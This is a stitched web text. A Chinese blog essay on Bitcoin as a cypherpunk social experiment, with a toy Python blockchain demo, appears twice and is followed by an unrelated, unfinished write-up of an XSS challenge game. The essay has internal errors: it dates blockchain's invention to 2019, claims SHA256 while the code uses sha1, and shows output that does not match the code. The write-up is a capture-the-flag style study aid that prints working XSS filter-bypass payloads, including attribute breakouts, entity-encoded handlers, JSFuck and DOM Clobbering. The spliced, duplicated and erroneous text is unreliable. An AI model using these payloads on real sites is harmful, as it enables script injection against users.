作者简介.jpg

格林威治时间,2009-01-03 18:15:05。
比特币创始人中本聪挖出了比特币的首个区块——创世区块(Genesis Block)。
从此,拉开了十年来轰轰烈烈的数字货币、区块链浪潮的序幕。
密码朋克也开始了他们最深刻的一次社会实验。

虽然大家每天使用 HTTPS 协议浏览网页,用 HASH 算法保证下载资源的完整,插着 U 盾使用网上银行,但背后的密码学一直都是小透明的存在,大众对密码学的认知基本还停留在上世纪的谍战电台中。

直到比特币横空出世,携带「重新发明货币」之威势,第一次让密码学知识走进普通人的视野。同时,也带来了大量关于政治和经济的思考。

故而,我更愿意把比特币看作一次社会实验,而非经济现象。要讨论这样一次伟大的社会实验,技术反倒成了次要,我想从货币和社会谈起。

货币的演化史

既然把比特币看成货币,那么首先要找到它的历史定位。纵观人类货币的演化过程,大概有下面几个阶段:

huobi.png

· 自然货币时代

这个阶段,货币基于一般等价物的稀有性或者实用性,货币不可能出现人为操纵的超发。

· 信用货币时代

当交易量越来越大,自然货币太不方便了,而且大家发现货币本身有多少价值并不重要,在意的只是货币能不能交换到足够的商品,于是纸币这种信用货币逐步诞生,并且发行方由钱庄、地方政府逐步到中央银行。

而近年来,由于技术进步,近一步过渡到v2.5版本,纸币数字化,催生了更多经济形式,但相较纸币,其中蕴含的国家信用本质并没有改变。

· 未来?

下一代货币是什么样子,我们还不知道,而比特币展示了一种可能性。但也可能,并没有下一代。

货币发行和社会形态

经济活动作为人类群体生活最重要的行为之一,深刻影响了人类的社会形态。从货币发行这件事上也可以发现许多相关性。

· 在自然货币时代,货币的实际发行者是——大自然。
· 在信用货币时代,货币的实际发行者是——人类。

在这里,货币发行第一定律出现了:

「货币发行第一定律」:谁负责发行,就要用那个世界的规则限制发行量。

· 大自然的限制规则是:产量。
· 而人类的限制规则是:中央集权。

再来看另一个现象:

自然货币时代,由于货币本身的稀缺性,基本没有办法随意增发货币。而信用货币时代的轨迹,会发现货币本身的价值在不断降低,换个说法就是货币增发的成本越来越低。这表明,对信用和中央集权的依赖程度就必须增高,于是货币发行方从私人钱庄、地方政府逐渐到中央银行。

可见,货币的形态和社会的形态是直接关系的,货币成本不断降低的同时人类从松散社会逐渐演变为现在的高度中央集权社会。

所以,货币发行第二定律也出现了:

「货币发行第二定律」:谁降低货币发行成本,就必须同时加强那个世界的规则。

这意味着,随着货币的信用化,中央集权的社会模式必须逐渐壮大。

就这样,货币在人类的权力规则下正常运行了数千年。为何人类对权力越来越贪婪,就是因为货币价值越来越依赖权力。

重新发明货币

而当货币模式演进到v2.5时代,也就是移动支付时代时候。由于计算机网络的发展,增发货币的难度变成只需要修改央行的数据库,成本几乎变为零了!

根据我们总结的「货币发行第二定律」,这意味着人类负责发行的信用货币体系可能走到了某个节点上,人类的中央集权模式也到了某个节点。

货币要继续向前发展,需要寻找另一个维度。

社会上后来出现了两种思潮:一种是建立超主权货币;一种是比特币为代表的互联网去中心化模式。

但超主权货币的可能性很低,因为货币不仅仅代表了价值交换的工具,同时还要承担秩序的输出功能,与所有国家主权脱钩的货币难以承担这种角色。更不用说某些国家还需要利用自己的货币玩金融剪刀游戏。

于是回到「货币发行第一定律」,我们发现,其实这时候有自然和人类之外的第三个势力参与到货币发行上来了,就是计算机网络。它改变了信用货币时代人类单纯依靠增强中央集权来降低货币发行成本的模式。按照货币世界的规则,新的势力应该担负起建立新规则的任务。

计算机世界限制发行量的规则是什么?那显然就是计算难度。

然而要让计算机网络独立于人类来建立规则,这本身就是一个极富挑战的难题。但中本聪在2019年创造性的发明了区块链的概念,来解决这个问题,给货币的发展带来了新维度的可能性。

chain.jpg

什么是区块链

高级的东西往往很简单,区块链也是一样。

用个成语接龙到游戏来说明:

当多个小朋友一起玩成语接龙游戏时,往往大家都能第一时间想到答案,但大家一起抢答就会混乱掉,该从谁的成语往后接呢?

传统的方法是选择一个主持人,想到的小朋友先举手,由主持人来判断谁举手最快,再决定由谁接龙。这样能保证接龙结果是一条没有分叉的链条。这就叫中心化方案。

现在如果不能有主持人,该怎么保证秩序呢?于是中本聪大神发明了一个方法:

我们来扔骰子吧,每人拿6个骰子,谁先扔出至少5个1,谁就有资格接龙。

于是这个游戏,就在没有主持人的情况下,能正常玩下去。当有更多小朋友参与的时候,可能经常同时有人能扔出5个1,那么简单,就把规则改成7个骰子扔六个1,随着人增多,骰子个数也不断增加以增加难度。

saizi.jpg

这就是区块链的去中心化方案。通过扔骰子的难度,提高接龙的门槛,保证接龙结果是没有分叉的链条。

而真正实现的时候,使用的扔骰子方案就是之前上一篇密码学中介绍过的 SHA256 Hash 算法。只有找出一个数和最近的转账数据算出足够小的 Hash 值,才拥有记账权,也就是给整个链加入一个新的区块。

最简单的区块链实现

「Talk is cheap. Show me the code!」—— Linus Torvalds

这里用 python 实现一个不到50行代码的区块链 demo,其实原理非常简单。

import hashlib
import datetime

class Block:
    def __init__(self, index, timestamp, data, last_hash):
        self.index = index
        self.timestamp = timestamp
        self.data = data
        self.last_hash = last_hash
        self.hash = self.hash_block()

    def hash_block(self):
        sha = hashlib.sha1()
        info = str(self.index) + str(self.timestamp) + str(self.data) + str(self.last_hash)
        sha.update(info.encode("utf8"))
        return sha.hexdigest()

def genesis_block():
    # 创建创世区块
    return Block(0, datetime.datetime.now(), "GenesisBlock", "0")

def next_block(last_block):
    # 生成下一个区块
    this_index = last_block.index + 1
    this_timestamp = datetime.datetime.now()
    this_data = "I'm block " + str(this_index)
    last_hash = last_block.hash
    return Block(this_index, this_timestamp, this_data, last_hash)

if __name__ == '__main__':
    # 初始化区块链
    blockchain = [genesis_block()]
    last_block = blockchain[0]
    print("Block #{} created!".format(last_block.index))
    print("Hash: {}\n".format(last_block.hash))

    num_of_blocks = 5

    # 生成区块链
    for i in range(0, num_of_blocks):
        new_block = next_block(last_block)
        blockchain.append(new_block)
        last_block = new_block

        print("Block #{} has been added!".format(new_block.index))
        print("Hash: {}\n".format(new_block.hash))

不过,没有带挖矿和交易的功能,执行下来的结果:

Block #0 was created!
Hash: 4b3eb7f7bbe233bc362d8db7c21623468b6f8ff1

Block #1 has been added!
Hash: a5c1683226254eef0cddf62bc1ce2034bc2cc9da

Block #2 has been added!
Hash: 55db159cbc62455f45c82f4b69b102c0c78f55b2

Block #3 has been added!
Hash: e9cafa8d8eaa86a9a709ef115dfa2570dff4f383

Block #4 has been added!
Hash: 032dfccebeaa7bc5fb4b27849e410c7f56e6111d

Block #5 has been added!
Hash: 68feb74d92b322881f0ba97cfd25ceff93552e5f

很显然,我们已经创造了一条区块链,在这个基础上再进行一些深入的开发,就能赋予它货币的能力,仿佛看到了毛爷爷在亲切地招手。

比特币解决了什么

曾经,通过网络只可以进行信息的匿名传递。
现在,通过比特币还能进行价值的匿名传递。
然而,比特币是否能如前面所说,肩负起货币v3.0版本的重任呢?曾经我是对此报以期待的。
在过去几年里,比特币甚至带起了整个暗网的非法交易,展现了良好的局部货币属性。

但看一个事物,不但要从技术、现实等基本面分析,还应该看到背后的思想博弈。

社会形态的博弈

密码朋克,一直是自由、加密、无政府主义的支持者。

因此,比特币的本质其实是纯粹的民主思想。以去中心化、少数服从多数、自由竞争为特征。

货币的形态,其实是社会组织形态的外化。货币是中心化还是去中心化,背后其实是中央集权和民主思想的博弈。

比特币刚出现时,恰好是国内整体舆论环境对美式民主最向往的时期,人们热衷于讨论民主和中央集权的优劣。

但近年来空气币、割韭菜等事情会令人思考,在一个相对自由的框架下,任由丛林法则和马太效应发酵,是否能自发导致系统的稳定运行,答案可能是否定的。

未来货币是什么形态,也许还是要看未来若干年的社会形态走向。

往期精彩

密码朋克的社会实验(一):开灯看暗网

密码学幼稚园 丨 密码朋克的社会实验(二)

作者简介.jpg

格林威治时间,2009-01-03 18:15:05。
比特币创始人中本聪挖出了比特币的首个区块——创世区块(Genesis Block)。
从此,拉开了十年来轰轰烈烈的数字货币、区块链浪潮的序幕。
密码朋克也开始了他们最深刻的一次社会实验。

虽然大家每天使用 HTTPS 协议浏览网页,用 HASH 算法保证下载资源的完整,插着 U 盾使用网上银行,但背后的密码学一直都是小透明的存在,大众对密码学的认知基本还停留在上世纪的谍战电台中。

直到比特币横空出世,携带「重新发明货币」之威势,第一次让密码学知识走进普通人的视野。同时,也带来了大量关于政治和经济的思考。

故而,我更愿意把比特币看作一次社会实验,而非经济现象。要讨论这样一次伟大的社会实验,技术反倒成了次要,我想从货币和社会谈起。

货币的演化史

既然把比特币看成货币,那么首先要找到它的历史定位。纵观人类货币的演化过程,大概有下面几个阶段:

huobi.png

· 自然货币时代

这个阶段,货币基于一般等价物的稀有性或者实用性,货币不可能出现人为操纵的超发。

· 信用货币时代

当交易量越来越大,自然货币太不方便了,而且大家发现货币本身有多少价值并不重要,在意的只是货币能不能交换到足够的商品,于是纸币这种信用货币逐步诞生,并且发行方由钱庄、地方政府逐步到中央银行。

而近年来,由于技术进步,近一步过渡到v2.5版本,纸币数字化,催生了更多经济形式,但相较纸币,其中蕴含的国家信用本质并没有改变。

· 未来?

下一代货币是什么样子,我们还不知道,而比特币展示了一种可能性。但也可能,并没有下一代。

货币发行和社会形态

经济活动作为人类群体生活最重要的行为之一,深刻影响了人类的社会形态。从货币发行这件事上也可以发现许多相关性。

· 在自然货币时代,货币的实际发行者是——大自然。
· 在信用货币时代,货币的实际发行者是——人类。

在这里,货币发行第一定律出现了:

「货币发行第一定律」:谁负责发行,就要用那个世界的规则限制发行量。

· 大自然的限制规则是:产量。
· 而人类的限制规则是:中央集权。

再来看另一个现象:

自然货币时代,由于货币本身的稀缺性,基本没有办法随意增发货币。而信用货币时代的轨迹,会发现货币本身的价值在不断降低,换个说法就是货币增发的成本越来越低。这表明,对信用和中央集权的依赖程度就必须增高,于是货币发行方从私人钱庄、地方政府逐渐到中央银行。

可见,货币的形态和社会的形态是直接关系的,货币成本不断降低的同时人类从松散社会逐渐演变为现在的高度中央集权社会。

所以,货币发行第二定律也出现了:

「货币发行第二定律」:谁降低货币发行成本,就必须同时加强那个世界的规则。

这意味着,随着货币的信用化,中央集权的社会模式必须逐渐壮大。

就这样,货币在人类的权力规则下正常运行了数千年。为何人类对权力越来越贪婪,就是因为货币价值越来越依赖权力。

重新发明货币

而当货币模式演进到v2.5时代,也就是移动支付时代时候。由于计算机网络的发展,增发货币的难度变成只需要修改央行的数据库,成本几乎变为零了!

根据我们总结的「货币发行第二定律」,这意味着人类负责发行的信用货币体系可能走到了某个节点上,人类的中央集权模式也到了某个节点。

货币要继续向前发展,需要寻找另一个维度。

社会上后来出现了两种思潮:一种是建立超主权货币;一种是比特币为代表的互联网去中心化模式。

但超主权货币的可能性很低,因为货币不仅仅代表了价值交换的工具,同时还要承担秩序的输出功能,与所有国家主权脱钩的货币难以承担这种角色。更不用说某些国家还需要利用自己的货币玩金融剪刀游戏。

于是回到「货币发行第一定律」,我们发现,其实这时候有自然和人类之外的第三个势力参与到货币发行上来了,就是计算机网络。它改变了信用货币时代人类单纯依靠增强中央集权来降低货币发行成本的模式。按照货币世界的规则,新的势力应该担负起建立新规则的任务。

计算机世界限制发行量的规则是什么?那显然就是计算难度。

然而要让计算机网络独立于人类来建立规则,这本身就是一个极富挑战的难题。但中本聪在2019年创造性的发明了区块链的概念,来解决这个问题,给货币的发展带来了新维度的可能性。

chain.jpg

什么是区块链

高级的东西往往很简单,区块链也是一样。

用个成语接龙到游戏来说明:

当多个小朋友一起玩成语接龙游戏时,往往大家都能第一时间想到答案,但大家一起抢答就会混乱掉,该从谁的成语往后接呢?

传统的方法是选择一个主持人,想到的小朋友先举手,由主持人来判断谁举手最快,再决定由谁接龙。这样能保证接龙结果是一条没有分叉的链条。这就叫中心化方案。

现在如果不能有主持人,该怎么保证秩序呢?于是中本聪大神发明了一个方法:

我们来扔骰子吧,每人拿6个骰子,谁先扔出至少5个1,谁就有资格接龙。

于是这个游戏,就在没有主持人的情况下,能正常玩下去。当有更多小朋友参与的时候,可能经常同时有人能扔出5个1,那么简单,就把规则改成7个骰子扔六个1,随着人增多,骰子个数也不断增加以增加难度。

saizi.jpg

这就是区块链的去中心化方案。通过扔骰子的难度,提高接龙的门槛,保证接龙结果是没有分叉的链条。

而真正实现的时候,使用的扔骰子方案就是之前上一篇密码学中介绍过的 SHA256 Hash 算法。只有找出一个数和最近的转账数据算出足够小的 Hash 值,才拥有记账权,也就是给整个链加入一个新的区块。

最简单的区块链实现

「Talk is cheap. Show me the code!」—— Linus Torvalds

这里用 python 实现一个不到50行代码的区块链 demo,其实原理非常简单。

import hashlib
import datetime

class Block:
    def __init__(self, index, timestamp, data, last_hash):
        self.index = index
        self.timestamp = timestamp
        self.data = data
        self.last_hash = last_hash
        self.hash = self.hash_block()

    def hash_block(self):
        sha = hashlib.sha1()
        info = str(self.index) + str(self.timestamp) + str(self.data) + str(self.last_hash)
        sha.update(info.encode("utf8"))
        return sha.hexdigest()

def genesis_block():
    # 创建创世区块
    return Block(0, datetime.datetime.now(), "GenesisBlock", "0")

def next_block(last_block):
    # 生成下一个区块
    this_index = last_block.index + 1
    this_timestamp = datetime.datetime.now()
    this_data = "I'm block " + str(this_index)
    last_hash = last_block.hash
    return Block(this_index, this_timestamp, this_data, last_hash)

if __name__ == '__main__':
    # 初始化区块链
    blockchain = [genesis_block()]
    last_block = blockchain[0]
    print("Block #{} created!".format(last_block.index))
    print("Hash: {}\n".format(last_block.hash))

    num_of_blocks = 5

    # 生成区块链
    for i in range(0, num_of_blocks):
        new_block = next_block(last_block)
        blockchain.append(new_block)
        last_block = new_block

        print("Block #{} has been added!".format(new_block.index))
        print("Hash: {}\n".format(new_block.hash))

不过,没有带挖矿和交易的功能,执行下来的结果:

Block #0 was created!
Hash: 4b3eb7f7bbe233bc362d8db7c21623468b6f8ff1

Block #1 has been added!
Hash: a5c1683226254eef0cddf62bc1ce2034bc2cc9da

Block #2 has been added!
Hash: 55db159cbc62455f45c82f4b69b102c0c78f55b2

Block #3 has been added!
Hash: e9cafa8d8eaa86a9a709ef115dfa2570dff4f383

Block #4 has been added!
Hash: 032dfccebeaa7bc5fb4b27849e410c7f56e6111d

Block #5 has been added!
Hash: 68feb74d92b322881f0ba97cfd25ceff93552e5f

很显然,我们已经创造了一条区块链,在这个基础上再进行一些深入的开发,就能赋予它货币的能力,仿佛看到了毛爷爷在亲切地招手。

比特币解决了什么

曾经,通过网络只可以进行信息的匿名传递。
现在,通过比特币还能进行价值的匿名传递。
然而,比特币是否能如前面所说,肩负起货币v3.0版本的重任呢?曾经我是对此报以期待的。
在过去几年里,比特币甚至带起了整个暗网的非法交易,展现了良好的局部货币属性。

但看一个事物,不但要从技术、现实等基本面分析,还应该看到背后的思想博弈。

社会形态的博弈

密码朋克,一直是自由、加密、无政府主义的支持者。

因此,比特币的本质其实是纯粹的民主思想。以去中心化、少数服从多数、自由竞争为特征。

货币的形态,其实是社会组织形态的外化。货币是中心化还是去中心化,背后其实是中央集权和民主思想的博弈。

比特币刚出现时,恰好是国内整体舆论环境对美式民主最向往的时期,人们热衷于讨论民主和中央集权的优劣。

但近年来空气币、割韭菜等事情会令人思考,在一个相对自由的框架下,任由丛林法则和马太效应发酵,是否能自发导致系统的稳定运行,答案可能是否定的。

未来货币是什么形态,也许还是要看未来若干年的社会形态走向。

往期精彩

密码朋克的社会实验(一):开灯看暗网

密码学幼稚园 丨 密码朋克的社会实验(二)

XSS Game 分析以及知识点总结

最近,正在学习XSS各种Bypass姿势,发现了某位Youtuber搭建的XSS Game平台,感觉还不错,正好用来实践XSS Bypass的技巧。在此分享给大家,如有任何问题,可留言探讨。本人也是小白一个,文章中如果出现错误,请大家指正。

题目概述

每道题目会给出XSS过滤器的实现,要求在没有用户交互的前提下弹框(alert(1337)),在Chrome下测试通过即可。话不多说,步入正文。

题目

1. Ma Spaghet

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
   spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析:本题基本上是送分题,没有任何过滤,二话不说直接干。

答案<svg onload=alert(1337)>

2. Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
   let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
   let ma = ""
   eval(`ma = "Ma name ${jeff}"`)
   setTimeout(_ => {
       maname.innerText = ma
  }, 1000)
</script>

分析:本题也没有任何过滤,解题的核心在于能让jeff这个变量里包含alert(1337)并且能够执行,同时保证ma = "Ma name ${jeff}"这个赋值语句的语法正确即可。可以选择使用-进行分割。

答案"-alert(1337)-"。对答案稍作解释,以免小白不理解。将变量jeff替换后,语句变为ma = "Ma name "-alert(1337)-""。首先,这是一个合法的表达式。JS为了进行-运算,会对每部分进行解析,在解析过程中,会执行alert(1337)

3. Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
   let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
   wey = wey.replace(/[<>]/g, '')
   uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析:从代码中可以看到,变量wey是插入到了<input>元素的属性中,同时对尖括号(<>)进行了过滤。既然无法使用尖括号对<input>标签进行闭合,那么可以尝试用双引号闭合标签内部的属性。同时,使用autofocus来自动触发onfocus事件中对应的函数,避免用户交互。

答案"onfocus=alert(1337) autofocus="

4. Ricardo Milos

<!-- Challenge -->
<form id="ricardo" method="GET">
   <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
   ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
   setTimeout(_ => {
       ricardo.submit()
  }, 2000)
</script>

分析:从代码中可以看出,用户的输入ricardo会成为表单提交的URL地址。由于没有任何过滤,可以直接使用javascript伪协议来执行弹框。

答案javascript:alert(1337)

5. Ah That’s Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
   smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
   smith = smith.replace(/[\(\`\)\\]/g, '')
   will.innerHTML = smith
</script>

分析:本题难度加大一点,过滤掉了(`)\这几个符号,显然不能直接alert(1337)进行弹框。但是过滤器并没有考虑到HTML实体编码,所以我们可以用HTML实体编码来绕过过滤。同时,因为HTML实体编码中有&,在传参到URL里时,要再经过一次URL编码

答案

<!--  无任何编码-->
<svg onload="alert(1337)">
<!-- HTML实体编码 -->
<svg onload="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x33;&#x33;&#x37;&#x29;">
<!-- URL编码,最终答案 -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E

6. Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

分析:根据代码可见,过滤器过滤掉了所有的字母和数字。可以采用JSFuck来绕过。JSFuck可以将正常的JS代码混淆为只包含[, ], (, ), !, +这6种字符的字符串。可查阅Github来了解JSFuck的具体工作原理。

答案

// JSFuck转换后的alert(1337)
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
// 由于有特殊字符,需要经过URL编码
"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"

7. Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析:本题存在三个限制

  1. 截取长度50的字符串
  2. `'"+-!\[]被替换为_
  3. alert被替换为_

长度的限制导致我们不能像上一题一样直接使用JSFuck来绕过过滤。本题的核心是如何绕过alert字符串的检测。可以使用如下几种办法。

  1. 定义匿名函数,利用匿名函数的参数构造payload,同时使用正则表达式来绕过alert字符串的检测。
  2. 利用数字和字符串之间的互相转换,来绕过针对alert的检测。
  3. 在URL地址后面加上#${payload},然后通过location.hash.slice(1)来获取payload,也能做到绕过检测。

答案

// 匿名函数
Function(/ALERT(1337)/.source.toLowerCase())()
// 数字转字符串,将30进制的数字8680439转换成字符串,就是alert
eval(8680439..toString(30))(1337)
// 在原始的URL后面加上 #alert(1337),然后通过下面的语句将payload取出
eval(location.hash.slice(1))

8. Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
   boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
   setTimeout(ok, 2000)
</script>

分析:本题中使用了DOMPurify这个第三方库来过滤非法字符。同时,setTimeout(ok, 2000)中的ok可以接收一个函数或者字符串。如果我们能够向ok这个变量注入可执行的payload,那么也就能成功弹框。在此,我们可以使用DOM Clobbering的方式,通过向HTML注入DOM元素,来实现操作JavaScript变量。

首先,要构造一个变量ok,我们可以通过创建一个id=ok的DOM元素来实现,比如<div id="ok"></div>

